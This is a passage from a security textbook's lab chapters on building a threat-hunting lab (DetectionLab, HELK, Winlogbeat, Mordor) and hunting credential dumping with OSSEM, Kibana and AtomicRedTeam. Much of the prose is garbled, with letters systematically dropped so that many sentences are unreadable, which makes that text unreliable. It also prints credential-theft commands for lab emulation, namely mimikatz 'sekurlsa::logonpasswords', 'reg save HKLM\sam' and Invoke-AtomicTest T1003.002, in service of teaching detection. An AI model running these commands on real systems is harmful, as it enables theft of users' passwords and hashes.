Now, you ca viw h oupu fom h scips o s you IP addsss:
% terraform output
ata_url = https://52.250.17.114
dc_public_ip = "52.250.56.150"
fleet_url = https://52.250.56.143:8412
guacamole_url = http://52.250.56.143:8080/guacamole
logger_public_ip = "52.250.56.143"
region = "westus2"
splunk_url = https://52.250.56.143:8000
velociraptor_url = https://52.250.56.143:9999
wef_public_ip = "52.250.17.114"
win10_public_ip = "52.250.52.139"
You a almos do! You d o compl h povisioig of h WEF, Wi10, ad
DC. To do ha, fis chag o h Asibl dicoy:
% cd ../Ansible
Now di h ivoy.yml fil wih you favoi dio o upda h x.x.x.x IP
valus of ach hos, usig you public_ip valus fom h Tafom oupu commad.
B su o o mov idaios, as hy a impoa.
Th, u h Asibl playbook, fis sig a viom vaiabl o wok aoud
a bug o macOS wih Asibl:
% export no_proxy='*'
% ansible-playbook -v detectionlab.yml
Lab 8-3: Looking Around the Lab
No ma if you s up you lab o you hos as pa of Lab 8-1 o i h cloud wih
Lab 8-2, you may ow sa o op up h ools availabl ad ak a look aoud. Th
IPs ad URLs a lisd i Lab 8-2. Th cdials fo h lab ools ad h IPs fo
h local hos-basd labs may b foud a hps://www.dciolab.wok/imags/
lab.pg. (I is impoa o o ha fo local hos-basd labs, you will oly b abl o
accss hos ools fom h hos islf, as hos-oly accss is povidd via h1.) You will
fid oh ools, alady isalld, lisd a hps://www.dciolab.wok/usag/.
Tak a mom o pok aoud.
NOTE If one of your host-based labs hangs, which is common with VirtualBox,
you can simply close it by selecting Power Down and then running vagrant
reload [dc|wef|win10|logger] (selecting the hanging VM) from your
command line. In my testing, I noticed that even if I brought down a host
forcefully, initially the reload command would complain of a locked VM, but
after a few moments, the Vagrant script would reconnect and restart it.
161
Extending Your Lab
Th DcioLab alady coms wih mos of h ools you will d, bu w will add a
fw, as dscibd i h followig scios.
HELK
Th Huig vsio of ELK, HELK, was dvlopd by Robo Rodiguz. Robo
ad his boh Jos hav poud hi livs io scuiy sach ad ally hav mad a
PART II
diffc i ou fild. This auho is hakful fo hi coibuios ad hop o sha
som of ha goodss wih you i his chap ad h x. Th mai si fo HELK is
hps://gihub.com/Cyb3Wad0g/HELK.
Lab 8-4: Install HELK
You ca isall HELK fom you Logg (Liux) mial. If you hav h cloud-basd
lab, you ca us h followig commad:
% ssh -i ~/.ssh/id_logger vagrant@[logger_public_ip address above]
Ohwis, if you hav a local build of h lab, you ca accss h SSH shll via
Vaga (fom you admiisao PowShll):
PS C:\DetectionLab\Vagrant> vagrant ssh logger
Th, ih way, you ca isall HELK as follows:

vagrant@logger:~$ git clone https://github.com/Cyb3rWard0g/HELK.git
Cloning into 'HELK'...
vagrant@logger:~$ cd HELK/docker/
vagrant@logger:~/HELK/docker$ ls
helk-base helk-logstash
helk-kibana-notebook-analysis-alert-basic.yml helk_setup_firewall.sh
helk-kibana-notebook-analysis-basic.yml helk_update.sh
helk-ksql
Fo cloud-basd labs, h IP will b s fo you auomaically. Fo hos-basd labs, b
su o chck h IP fo h1 fis, mak o of i, ad us i i h scip wh you’
askd fo a IP:
vagrant@logger:~/HELK/docker$ ifconfig eth1
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.38.105 netmask 255.255.255.0 broadcast 192.168.38.255
162
Now, isall HELK:
vagrant@logger:~/HELK/docker$ sudo ./helk_install.sh
***********************************************
** HELK – THE HUNTING ELK **
** **
** Author: Roberto Rodriguez (@Cyb3rWard0g) **
** HELK build version: v0.1.9-alpha10082020 **
** HELK ELK version: 7.6.2 **
** License: GPL-3.0 **
***********************************************
[HELK-INSTALLATION-INFO] HELK hosted on a Linux box
[HELK-INSTALLATION-INFO] Available Memory: 6540 MBs
[HELK-INSTALLATION-INFO] You're using ubuntu version bionic
*****************************************************
* HELK – Docker Compose Build Choices *
*****************************************************
1. KAFKA + KSQL + ELK + NGINX
2. KAFKA + KSQL + ELK + NGINX + ELASTALERT
3. KAFKA + KSQL + ELK + NGINX + SPARK + JUPYTER
4. KAFKA + KSQL + ELK + NGINX + SPARK + JUPYTER + ELASTALERT
If you followd h pvious cloud isucios, slc opio 2, as show x. La,
you may xpim wih h oh opios; hy a ga bu o dd fo his chap.
Enter build choice [ 1 – 4]: 2
[HELK-INSTALLATION-INFO] Set HELK IP. Default value is your current IP:
192.168.38.105
[HELK-INSTALLATION-INFO] HELK IP set to 192.168.38.105
[HELK-INSTALLATION-INFO] Please make sure to create a custom Kibana password
and store it securely for future use.
[HELK-INSTALLATION-INFO] Set HELK Kibana UI Password: hunting
[HELK-INSTALLATION-INFO] Verify HELK Kibana UI Password: hunting
[HELK-INSTALLATION-INFO] Installing htpasswd..
[HELK-INSTALLATION-INFO] Installing docker via convenience script..
[HELK-INSTALLATION-INFO] Assessing if Docker is running..
[HELK-INSTALLATION-INFO] Docker is running
****************************************************************************
** [HELK-INSTALLATION-INFO] HELK WAS INSTALLED SUCCESSFULLY
** [HELK-INSTALLATION-INFO] USE THE FOLLOWING SETTINGS TO INTERACT WITH THE
HELK
****************************************************************************
HELK KIBANA URL: https://192.168.38.105

HELK KIBANA USER: helk
HELK KIBANA PASSWORD: hunting
HELK ZOOKEEPER: 192.168.38.105:2181
HELK KSQL SERVER: 192.168.38.105:8088
IT IS HUNTING SEASON!!!!!
You can stop all the HELK docker containers by running the following command:
[+] sudo docker-compose -f helk-kibana-analysis-alert-basic.yml stop
163
Now, lauch a bows ad accss h HELK (Kibaa) cosol, ih wih h IP
show i h pvious cod (if you buil you lab locally) o wih h cloud public addss
(if you’ usig h cloud). Sic w a usig a hos-basd lab i his scio, w will us
h IP hps://192.168.38.105.
PART II
Lab 8-5: Install Winlogbeat
I od o g logs o Logsash, ad ulimaly o h Kibaa dashboad show i h
pvious illusaio, you d o isall bas (ha is, filba, packba, wilog-
ba, ad ohs). Fo ou puposs, w a isd i Widows fil logs, so w will
us wilogba. Usig ih you Guacamol mial (hp://192.268.38.105:8080/
guacamol) fo h hos-basd lab o RDP fo h cloud lab, coc o you WEF sv
ad h dowload ad isall wilogba fom hps://www.lasic.co/dowloads/
bas/wilogba.
Uzip ha wilogba.x.zip fil o c:\pogam fils\ ad am h uzippd fold
o c:\pogamfils\wilogba.
Th, fom ha WEF sv, op h followig fil fom a bows ad sav i ov
h dfaul wilogba.yml fil i h c:\pogamfils\wilogba\ fold:
https://raw.githubusercontent.com/GrayHatHacking/GHHv6/main/ch08/winlogbeat.yml
Nx, isall ad sa h svic fom PowShll usig admiisao accss:
PS C:\Windows\System32> cd "C:\Program Files\Winlogbeat"
PS C:\Program Files\Winlogbeat> powershell.exe -ExecutionPolicy UnRestricted
-File
.\install-service-winlogbeat.ps1
Start-Service winlogbeat
164
Now, chck h Svics pal ad su h svic is uig, as show x.
Back i h Kibaa dashboad, if you click h Discov ico locad alog h lf
sid (h scod ico dow), you should s w daa fom wilogba, as show x.
Lab 8-6: Kibana Basics
Idx pas a usd by Kibaa o accss daa wihi Elasicsach. I spcifis h
goupigs of daa (o sach) ad how h filds a dfid (hough popis). W will
dmosa how o ca idx pas ad h how o us Kibaa fo basic quis.
165
Index Patterns
I is of usful o ca you ow idx pas i Elasicsach. Sa by slcig h
Kibaa logo i h upp-lf co o go o h hom pag. Th scoll dow som ad
slc Idx Pas:
PART II
Nx, slc h Ca Idx Pa buo o h igh:
Th, compl sp 1 of 2 by filig o h availabl log soucs. I ou xampl,
w will jus ca a mas idx of all logs bgiig wih “log”. Typ log* i h idx
pa fild h click Nx Sp:
166
Nx, compl sp 2 of 2 by idicaig wha fild o coduc im-basd fils o.
Slc @imsamp o kp i simpl. Slc h dop-dow fo Advacd Opios ad
giv you w idx a am. I his cas, w calld i logs* Gay Ha. Th click Ca
Idx Pa.
Jus lik ha, w hav ou ow idx. This may o hav smd impssiv, paicu-
laly giv ha Elasicsach alady cad a idx fo us calld logs-*. Howv, i h
fuu you may wa o ca you ow idxs (fo xampl, ov a small s of log
soucs o fo a paicula day o wk’s woh of logs) i od o spd up you sachs,
as you alady hav a subs of daa idxd.
Basic Queries
To hlp you la o quy Kibaa (h us ifac of Elasicsach), l’s giv i som-
hig isig o fid. Op you Wi10 hos, ih fom h Guacamol wb i-
fac, dicly o h VM (fo hos-basd labs), o via RDP (if you’ usig a cloud lab).
Fom h Wi10 hos, op Explo ad aviga o h c:\uss\vaga\ools fold,
as show x:
Doubl-click h mimikaz.x fil. This pogam allows you o display h pass-
wods of h uss o h sysm, i plaix. Typ h followig commads i h
Mimikaz cosol:
log
privilege::debug
sekurlsa::logonpasswords
167
PART II
Now, back o you Kibaa wb pag, you should b abl o s h v by yp-
ig mimikatz.exe i h op sach pal of h Discov pag, wih Las 15 Mius
slcd as h imfam o h igh:
Now w ca do b ha ha; w ca us h filds wihi h log o fid i ha way.
I h op sach fild, yp process.name:"mimikatz.exe" and event_id:1 ad pss
enter. You should s h sam suls. O h lf sid of h sc, slc h dow
aow x o h logs* labl ad slc ou idx, logs* Gay Ha. You should sill s
h sam sul. Now h is much mo o la abou Kibaa ad Elasicsach, bu
hs a h basics you d o kow fo ow. W will pick up a fw mo icks i h
x chap.
168
Lab 8-7: Mordor
Modo was cad by… you gussd i, Robo ad Jos Rodiguz. Agai, w ow
hos guys a db of gaiud. Modo is a collcio of daa ss suoudig APT aciv-
iy. Ys, you ca dowload h daa ss ad pacic fidig al APTs i you lab. W
will isall i h ad h play wih i i h x chap.
Follow h isucios o GiHub fo dowloadig ad isallig Modo daa ss
(hps://gihub.com/OTRF/modo), saig wih h kafkaca dpdcy:
vagrant@logger:~/HELK/docker$ sudo apt install kafkacat
Building dependency tree
Reading state information... Done
The following package was automatically installed and is no longer required:
linux-headers-4.15.0-140
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
Processing triggers for libc-bin (2.27-3ubuntu1.4) ...
Mov back o hom dicoy o Logg:

vagrant@logger:~/HELK/docker$ cd ~
Now, dowload ad isall Modo daa ss fom wihi you lab viom
(Logg hos):
vagrant@logger:~$ git clone https://github.com/Cyb3rWard0g/mordor.git
Cloning into 'mordor'...
remote: Counting objects: 100% (2678/2678), done.
remote: Compressing objects: 100% (718/718), done.
Checking out files: 100% (647/647), done.
vagrant@logger:~$ cd mordor/datasets/compound/apt29/day1
vagrant@logger:~/mordor/datasets/compound/apt29/day1$ ls
README.md apt29_evals_day1_manual.zip pcaps zeek
Isall uzip ad h uzip h daa s:

vagrant@logger:~/mordor/datasets/compound/apt29/day1$ sudo apt install unzip
Building dependency tree
Reading state information... Done
…truncated for brevity… ...
Unpacking unzip (6.0-21ubuntu1.1) ...
Setting up unzip (6.0-21ubuntu1.1) ...
Processing triggers for mime-support (3.60ubuntu1) ...
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
vagrant@logger:~/mordor/datasets/compound/apt29/day1$ unzip apt29_evals_day1_
manual.zip
Archive: apt29_evals_day1_manual.zip
inflating: apt29_evals_day1_manual_2020-05-01225525.json
169
Now, lauch kafkaca o igs h Modo daa s:
vagrant@logger:~/mordor/datasets/compound/apt29/day1$ kafkacat -b
localhost:9092 -t
winlogbeat -P -l apt29_evals_day1_manual_2020-05-01225525.json
Af h kafkaca ool compls (20 mius o so), op Kibaa ad adjus h
Discov pag, sig h imfam o Ja 1, 2020 uil ow. You should s vs
fom h middl of 2020. Agai, w will pick up h hu i h x chap.
PART II
Summary
I his chap, w discussd how o s up a ha huig lab. W usd Chis Log’s
DcioLab ad augmd i wih ools fom Robo ad Jos Rodiguz. W p-
sd wo mhods of isallaio: o o you local hadwa ad h oh i h
cloud. W also xdd h lab o us HELK ad Modo. Fially, w walkd hough
som basics wih Kibaa o quy Elasicsach. W will us his lab i h x chap
o la ha huig. S you h.
For Further Reading

Red Canary Atomic Red Team (testing scripts to emulate threats; will be used in next
chapter) gihub.com/dcaayco/aomic-d-am
MITRE ATT&CK Navigator mi-aack.gihub.io/aack-avigao/
Threat Hunting with MITRE ATT&CK www.hahuig.s/2020/05/24/ha-
dcio-wih-mi-ack-ad-aomic-dam/
SANS: Building and Growing Your Threat Hunting Program www.sas.og/mdia/
aalys-pogam/buildig-mauig-ha-huig-pogam-39025.pdf
Chris Long’s Blog hps://clo.g/blog/
170
Roberto Rodriguez’s GitHub Projects gihub.com/Cyb3Wad0g
Roberto Rodriguez’s Blog mdium.com/ha-hus-fog/aggd/ha-huig
Purple Cloud (cloud templates for security testing) gihub.com/ikowjaso/
PuplCloud
Cyber Range (cloud templates for security testing) gihub.com/scdvops-cus/
CybRag
DetectionLabELK (fork of DetetectionLab with ELK stack) gihub.com/
cybdfds/DcioLabELK/
Blacksmith (cloud-based lab templates) gihub.com/OTRF/Blacksmih
SimuLand (more cloud-based lab templates) gihub.com/OTRF/simulad
References
1. C. Log, clog/DcioLab (2021), hps://gihub.com/clog/DcioLab
(accssd Ju 4, 2021).
2. R. Rodiguz, Cyb3Wad0g/HELK (2021), hps://gihub.com/Cyb3Wad0g/
HELK (accssd Ju 4, 2021).
3. OTRF/modo. Op Tha Rsach Fog (2021), hps://gihub.com/
OTRF/modo (accssd Ju 4, 2021).
4. OTRF/OSSEM. Op Tha Rsach Fog (2021), hps://gihub.com/
OTRF/OSSEM (accssd Ju 4, 2021).
5. OTRF/ThaHu-Playbook. Op Tha Rsach Fog (2021),
hps://gihub.com/OTRF/ThaHu-Playbook (accssd Ju 4, 2021).
6. “Op Tha Rsach Fog,” GiHub, hps://gihub.com/OTRF
(accssd Ju 4, 2021).
7. “ELK F ad Op Sach: Th Caos of Elasicsach, ELK & Kibaa |
Elasic.” hps://www.lasic.co/ (accssd Ju 4, 2021).
8. “Dowloads – Oacl VM ViualBox.” hps://www.viualbox.og/wiki/
Dowloads (accssd Ju 4, 2021).
9. “Gi Commad Li Tools – Dowloads.” hps://gi-scm.com/dowloads
(accssd Ju 4, 2021).
10. Vaga, HashiCop, hps://www.vagaup.com/ (accssd Ju 4, 2021).
11. “Toublshooig & Kow Issus :: DcioLab.” hps://www.dciolab
.wok/dploym/oublshooig/ (accssd Ju 4, 2021).
12. “Ca you Azu f accou oday | Micosof Azu.” hps://azu.micosof
.com/-us/f/ (accssd Ju 4, 2021).
171
13. “Hombw,” Hombw, hps://bw.sh/ (accssd Ju 19, 2021).
14. “Dowload Tafom,” Tafom by HashiCop, hps://www.afom.io/
dowloads.hml (accssd Ju 4, 2021).
15. “Isallig Asibl – Asibl Documaio,” hps://docs.asibl.com/asibl/
las/isallaio_guid/io_isallaio.hml (accssd Ju 4, 2021).
16. dbadish-micosof, “How o isall h Azu CLI,” hps://docs.micosof.com/
-us/cli/azu/isall-azu-cli (accssd Ju 4, 2021).
PART II
Introduction
to Threat Hunting
CHAPTER
9
• Threat hunting basics
• Normalizing data sources with OSSEM
• Data-driven hunts using OSSEM
• Hypothesis-driven hunts using MITRE ATT&CK
• The Mordor project
• The Threat Hunter Playbook
Wa  a ug? Ta ug  bad o  aumpo a a advay 
alady   wok ad you d o ack m dow. T  a opc a qu
qu a b o kowldg abou () ow adva opa ad () ow ym opa
omally ad w ud aack. To,   a opc a cao b covd ully
  cap. Howv, w am o gv you a ovvw o  bac, om wc you
ca xpad ov m.
Threat Hunting Basics

Ta ug  a ymac poc o ug o a advay wo  alady  
wok. W a alkg abou a bac a a alady ad, ad  goal  o o
 amou o m  aack ca dwll   wok. Oc  aack  dcov-
d, a pop cd po ca b appld o mov m om  wok ad
o opao back o omal. To, a ug  o cd po,
aloug  may way y wok og ad may o b compod o popl w
 am kll . Howv, dally,   a paa a ug am a u
ull m o ay adva   wok. I a budg-coad ogazao, a
u may wc a a a advay  dcovd ad pom cd po
uco. Lkw, a a u  o a pao . Aga,  wo may av
mla backgoud ad kll , bu  md  d. A pao  
kg way o ad aco a wok o dcov vulabl ad g m xd,
bo a advay d m. T a u aum a bac a alady occud
ad  mo ocud o dg  al o a advay ad dcg m oc d
a wok a y a ocud (ally) o ow  advay go .
173
174
Types of Threat Hunting
T a val yp o a ug, clud  ollowg:
• Il-dv u
• Daa-dv u
• Hypo-dv u
Intel-Driven Hunts
Il-dv u a gudd by cyba llgc ad  dcao o compo-
m dvd om op ad clod ouc llgc. Fo xampl, a l a may b
a dcao o compom, ad ’ wo cckg o  xc o a l aco
 vom. Fu,  acc, cqu, ad pocdu (TTP) o pacula
a aco a o  o ay a u, ad  a o oud  llgc
po ad om omao ad by o. Howv, w wll o ocu o  yp
o ug, a  cqu dployd a ud   o, ad cao.
Data-Driven Hunts
Daa-dv u a pomd by acg o aomal   moud o daa
w a ogazao. T b way o pom  yp o u  by ug a
aalyc plaom, uc a Spluk o Elacac, o cu oug  ayack o daa,
lookg o  dl. Fu,  adoal Scuy Iomao Ev Maag-
m (SIEM) dvc  a valuabl ag po o daa-dv u. Howv, a a
u wll lkly ougow  capably o v  b SIEM avalabl, paculaly
w y a o pom  ad ou jo o dpaa daa ouc, cludg
uucud daa ouc, wc  dcul  o mpobl o mo SIEM. W wll
xplo daa-dv u   cap.
Hypothesis-Driven Hunts
A you wll call om Cap , a  op o  pyamd o pa   TTP o a
advay. T bavo o a advay   mo dcul g o dcov. T good
w  a adva o pa wa wok, ad   a po a gv u a
clu a o wa o look o w a gv advay goup. T MITRE ATT&CK am-
wok   collco o may kow (publc) TTP ad a v b ud o d-
ca ca advacd p a (APT) goup’ acv. Ug  amwok
a a ouc, w ca u ou magao ad buld a ypo o a advay’ aco
w a wok. Ay ypo may b  d;  by ug w av 
pop daa ouc o   ag bavo ad  by buldg aalyc o ac o
a bavo  a gv wok vom. Fally, w ca buld al o l u kow
w a bavo app   uu. I  way, w ca modcally wok ou way
oug  MITRE ATT&CK amwok, buldg a covag map a w go. O ky
cocp a  po  o cogz a w wll o b ag   mddl o 
amwok, a w a aumg compom o a w. T,  w dcov g o a
Chapter 9: Introduction to Threat Hunting
175
ypo bg u, w ca wok  bo dco aco  amwok: () o wok
owad ad d  ulma dp o  pao ad k o  vom,
ad () o wok backwad o d  ouc o  bac ad o clo a ol gog
owad. W wll xplo  yp o ug la   cap a wll.
Workflow of a Threat Hunt

T bac woklow o a a u  a ollow:
PART II
1. Pom a daa ouc voy, gap am, ad mdao o.
2. Dm  yp o u o pom ad  ac ca.
3. Eu you av  daa qud o ay  ac ca.
4. Pom  ac.
TIP Emulate the threat as well as ensure the search and data are what’s
expected, before relying on the search results more generally.
5. Cck ul. I aack bavo  oud, cou vgao ad oy 
cd po (IR) am.
6. I aack bavo  o oud, u o  op. T  ad pa.
Ta’ . Su, you wll d o la a lo dug  poc abou ow you op-
ag ym  you vom wok, ow log daa  gad, amd, ad
od, ad ow a advay mov oug a wok, paculaly w y look lk
a omal u, bu a  all pa o . I wll ak a wl, mayb v ya, bo you
bcom poc a a ug. So l’ bg ow!
NOTE It is important to realize that becoming a threat hunter is a journey

that will take years before you can consider yourself an expert. We will strive
to show you the basics in this chapter and equip you with the tools to hone
your craft, over time. However, there is no substitute for you putting in your
10,000 hours, which is true for topics covered in the rest of this book as well.
So, this chapter is not intended to be an exhaustive source or explanation of
threat hunting. It would take an entire book to do that (see the “For Further
Reading” section for a good one). For those with experience in threat hunting,
we hope you find a few new tips in this chapter, but it is really aimed at those
new to the topic.
Normalizing Data Sources with OSSEM

W wll a by dcug daa ouc,  d o omalzg log om vaou
daa ouc, ad  Op Souc Scuy Ev Madaa (OSSEM) pojc ad
ool a ad  a poc. A dcud pvouly,   p  ay a u
176
 udadg you daa ouc ad  pomg a gap aaly ad mdao
pojc  you a mg daa. Lkly, a you pog, you wll d ou you a mg
ky daa, ad you ca adju u a you go.
Data Sources
T poblm w daa  a ac dvc, opag ym, ad applcao (ouc)
poduc log  a d oma. To mak ma wo, om vdo, uc a
Mcoo, av val om o loggg; o, dpdg o wa you a kg,
 daa may vy wll b  a oma a’ d om  o log om a v-
do. Fo xampl, Mcoo o log  Ev Vw (EVT), xpo API-lvl acc
o kl-lvl log va Ev Tacg o Wdow (ETW), ad may owad log va
Wdow Ev Fowadg (WEF) v. Fu, Mcoo povd a ool, Symo,
a povd ym-lvl log o poc, l, ad wok acv  a lgwg
ma.1, 2 Eac o  loggg mod, o mo ju a w, povd a d o-
ma. So, ow a w o omalz o log ouc, ad  udd o o ouc,
o a acabl ad calabl oma?
OSSEM to the Rescue

T Op Souc Scuy Ev Madaa (OSSEM) Pojc com o  cu.3 T
bo Robo ad Jo Rodguz cad  OSSEM Pojc o lp ac
a daa ad aalyc,  a adad oma, o  ld could mov owad a, o
log m alag cuy lva log oma. A mod val m  
cap, w ow  Rodguz bo a db o gaud o all y av povdd o
o o u   ld.
T OSSEM Pojc  pl o  pa:
• Common Data Model (CDM) Povd o a commo cma o daa,

ug cma  ad cma abl o allow o  abaco o log
(o xampl, w dcug wok log,  HTTP, Po, ad U-Ag
 av b dd).
• Data Dictionaries (DD) Collco o CDM  ad abl a d a
pacula v log. May commo log oma av b dd, ad you a
 o d you ow.
• Detection Data Model (DDM) A collco o daa objc ad laop
qud o d aack bavo, uc a mappg  MITRE ATT&CK
amwok o log. Muc wok a b do  o compl a ga dal o
 amwok (o a you pacpao ad cobuo a wlcom4).
Tog,  compo o  OSSEM abl ou daa-dv ad ypo-
dv a ug. A you wll   a mom, w ca ly o  ool o pd
up ou aaly ad o g boggd dow  log oma, ld am, ad o o. Ug
OSSEM  a al m-av.
177
Data-Driven Hunts Using OSSEM
F, w wll u OSSEM o pom a daa-dv u. W wll a by povdg a
 o  MITRE ATT&CK amwok, vualzg  daa ug OSSEM, ad
 dvg g  ad gg ou ad dy ug.
MITRE ATT&CK Framework Refresher: T1003.002

You wll call  MITRE ATT&CK amwok om Cap . I  cap, w
PART II
wll apply  o u o advaal bavo. To a w, w wll ak a look a ub-
cqu T003.00, OS Cdal Dumpg.5 T ub-cqu dcb ow a
advay may xac cdal omao om  Wdow Scuy Accou Ma-
ag (SAM),  om mmoy o om  Wdow gy, w   od. T
SAM  a bg ag o aack, o obvou ao:  coa  local cdal o
 o.
A xplad   amwok, a umb o auomad ool may b ud o gab 
SAM, o a mpl commad om  admao’ commad-l wdow wll uc:
reg save HKLM\sam sam
reg save HKLM\system system
L’ ak a look a wa OSSEM ll u abou  ub-cqu.
Lab 9-1: Visualizing Data Sources with OSSEM
Sa by vg p://ompojc.com/dm/m_aack/aack_cqu_o_

v.ml.
T, ov ov  ock p (lauc) co o  upp-g co o  
ad clck Bd o lauc a Jupy obook, o , o  Bd .
T Jupy obook allow o lv, acv pocg o Pyo, ad all 
aocad lba, om  covc ad ay o you bow. I wll ak a
mom o load up (’  a all, ak o  gou doao o o ld a
 op o   pag). W  load, you wll   ollowg c. Clck  
178
gay block o cod ad  clck  Ru buo a  op o p shift-enter o
poc a block o cod.
Go aad ad xcu  x block o cod a wll. I wll ak a wl o u, a 
MITRE ATT&CK cqu a pulld ad pad. Wl   ug, you wll oc
a ak  back ([*]) o  l d o  block o cod. W  compl, 
ak wll u o a umb pg  block o cod. T head() commad
wll ow   v m   mappg, ag w 0, a ow x:
A a o wa, you ca cou by xcug  x block() o cod (ac
xplad by a adg ad x po o  block), wc u OSSEM o ow  daa
ouc ad compo o  T003.00 ub-cqu. Adju  cod o  o
T003.00, a ow x. T   bauy o Jupy obook: y a dyamc
ad you ca xpm w m o la.
179
H, w ca   commad, gy, ad l daa ouc a uul  dcg
commad xcuo, Wdow gy ky acc, ad l acc, pcvly.
Now mody  x block o cod o oc aga p  T003.00
ub-cqu.
PART II
Now w   v ID ud o d acvy aocad w  T003.00 ub-
cqu. T  powul, a you ow ca g o ug w  daa wou wo-
yg abou  o v ID. You av  pa o ac o  acvy: l,
Wdow gy, ad commad-l log.
Excu  x commad ad coll o  g o  daa wdow o   dal
o  gapcal daa. You wll d o mody  cod   block, a ow x, o
T003.00:
180
O  g d o  l a log cal ad  aocad log povd (ouc).
So, o xampl, w ca  a w lookg o  commad xcuo ou o 
aack, w ca u o v ID o 488 ad 403 o commad l ad PowSll
xcuo, pcvly. T v ID a d w  a u o poc pom
commad xcuo, o w a covd w  aack yp a a commad l o
xcu cp a lauc poc o xcu  commad—wc  good. W alo
oc a Symo log clud a v ID o  o  acvy. I u ou a v
ID   aocad w all poc cao ad  l pcc   ca, o w wll ck
w  o wo v ID.
Scollg dow a b, w  mla daa o  cqu a dcly acc 
SAM om  gy:
Ad v u dow, w  daa om  cqu a a aocad w
dc l acc o  SAM objc:
Now, l’ la ao cqu o mula aack bavo  od o pacc
dg    log. Cyb a mulao (CTE)  a oc mulpl ad ally accl-
a you lag.
181
Lab 9-2: AtomicRedTeam Attacker Emulation
L’ u ou ao o  AomcRdTam cp o mula  MITRE ATT&CK
T003.00 (SAM) aack. Ug  am lab up om Cap 8, “cd” o 
c:\Tool\AomcRdTam\aomc\T003.00 old o  Wdow 0 o.
PART II
NOTE If you don’t see a c:\Tools folder, then you likely had an issue during
the install; in that case, go to your host system and, from your administrator
PowerShell window, run vagrant provision win10. The same is true with the
DC and WEF servers. Further, if a lab in this chapter hangs, you may need to
restart through vagrant halt system name, then vagrant up system name.
If this happens a lot, consider adding more RAM or running from the cloud
(with more RAM). The labs worked as demonstrated on Windows 10 hosts,
but your mileage may vary on other operating systems.
Alo, om a wb bow, op  ollowg URL:

p://gub.com/dcaayco/aomc-d-am/blob/ma/aomc/T003.00/
T003.00.md
Scoll dow o  ow  AomcRdTam ool wll mula  aack, o you could
yp  commad maually. Do y look amla? Ty ould, bcau  a
 am commad w aw o  MITRE ATT&CK amwok pag.
Now, om you admao commad-l pomp (o a Wdow 0 o), yp
 commad ow   pvou lluao o maually mula a aack.
182
Now, op you Kbaa daboad (om la cap). Nx, l’ add a colum o ou
Kbaa ul l by dg #v_d   l-d pal’ ac box ad clckg
 Add buo.
Fom ow o, you wll av v_d a a ad o  op o  ac ul l.
R  pag o  .
Nx, ac o  commad “reg save HKLM\sam”. No a you av o u
quo o cap  backla. Eu you clck  calda ad  lc Today:
183
You ould   ollowg ac ul:
PART II
W   v ID   ac ul a 4,88 (dgad  comma). Rcall
om  OSSEM dagam ow al a   o o  xpcd v ID o
commad xcuo. T  a ky lag po: w oud  “v_d”  m
by acg o a vy pcc aack cqu. Gog owad, w wll wok  
o dco.
By xpadg a log ad collg dow a b   log ul, w   acual
commad l  aack ypd , a xpcd:
Obvouly,   a bac xampl  a cla  vom, bu do’ woy. Nx,
w wll amp  up.
Exploring Hypothesis-Driven Hunts

Now a w av  a daa-dv a u, l’ xplo a ypo-dv
a u.
Lab 9-3: Hypothesis that Someone Copied a SAM File
I  lab, w wll puu (u) bad o  ypo a omo copd a SAM
l w ou doma. To pd up  lag cycl, w wll u  auomad 
ucoaly o AomcRdTam ool, calld Ivok-AomcT, o u    a
co ma ad av u all  ypg volvd w  aack.
184
Fom a admav PowSll wdow o  Wdow 0 o,  up 
vom ug  ollowg commad (copy/pa om p://dcolab
.wok/uag/aomcdam/).
Import-Module "C:\Tools\AtomicRedTeam\invoke-atomicredteam\Invoke-
AtomicRedTeam.psd1" -Force
$PSDefaultParameterValues = @{"Invoke-AtomicTest:PathToAtomicsFolder"="C:\
Tools\AtomicRedTeam\atomics"}
Nx, vok  , ug  a gl , mulpl , o  ull  quc
o T003.00, a ow   ollowg cod. T -ShowDetailsBrief agum wll
ow   aco, bu o pom m, o   a good da o do  .
Invoke-AtomicTest T1003.002 -TestNumbers 1 -ShowDetailsBrief
#or
Invoke-AtomicTest T1003.002 -TestNumbers 1,2 -ShowDetailsBrief
#or
Invoke-AtomicTest T1003.002 -ShowDetailsBrief
T ollowg mag ow    quc o  la commad:
Ga! Now, lauc   commad ( ), wou -ShowDetailsBrief, o
xcu  aack, a ow x:
Sc w alady kow  a  way  SAM l copy ca b dcd—
commad, l, ad gy (  dagam ad abl a ollow   Lab 9-)—w
ca u  omao o a ug. W call a  v ID o 488 ad 403
a dcao o commad xcuo. Sc w alady lookd a 488, l’ ac 
185
m o 403. Op you Kbaa cool ad ac o “HKLM\sam” and event_
id:4103, ad you ould  om , a ow x:
PART II
Tak a mom o amlaz youl w  log oupu;  pacula, look a 
Payload ld. Expad  log ad coll dow o  dal, a ow :
Now you kow wa a PowSll payload look lk  log oma. I you y 
 you poduco wok, you would ac o  am log, bu wou 
da coa.
Crawl, Walk, Run

So a   cap, you av lad o cawl (maually) ad walk (w auomad
cp by AomcRdTam). You av  bac o a ug dow, bu oly o
o MITRE ATT&CK ub-cqu. I od o walk a, you av o pacc ow
w o cqu, wokg you way oug  MITRE ATT&CK amwok by
ug you av  coc daa ouc, mulag  aack, ad  lag ow
o dy   log. Icagly, ov m, you wll ga xpc ad mo mpo-
aly la mo abou ow Wdow log wok.6 Fo xa cd, puu  l ad
gy acc o T003.00, ow a  d o Lab 9-.
186
Tak a mom o wok oug a w mo xampl ug  AomcRdTam
cp.7 W you a ady o a joggg, cou o   cap.
Enter Mordor
I  co, w wll u  Modo daa8 w alld   la cap ad
a joggg a a u. I od o pck up  pac, w wll u  pcodd
aack daa, capud   umm o 00 by Robo Rodguz,9 bad o 
al wok om  MITRE Eguy ATT&CK Evaluao po.0 W wll load
 APT9 aack daa, pcodd by Rodguz, o mula  APT9 goup  ou
wok om a daa ppcv. T  powul, a w ca b pad  m o 
up ad xcu all o commad. To la mo abou  up ad  acual aack
quc,   “Rc” co a  d o  cap.
Lab 9-4: Hypothesis that Someone Other

than an Admin Launched PowerShell
I  lab, w wll  ou o pov  ypo a omo laucd PowSll,
o a a adm. No a  may o may o b malcou, bu   a good plac
o a. Dpdg o  z o you wok, you may av a lo o PowSll bg
ud, bu you ould b abl o ola you admao u ad  dc o
wo a ug PowSll. By  way,   a good  p, bu ulmaly you wll
wa o moo ad vga all you adm acv a wll. A all,  o o m
 compomd,  aack would lov o lvag  pvlg w  wok.
I od o g a da o all  way PowSll may b laucd, w u o ou
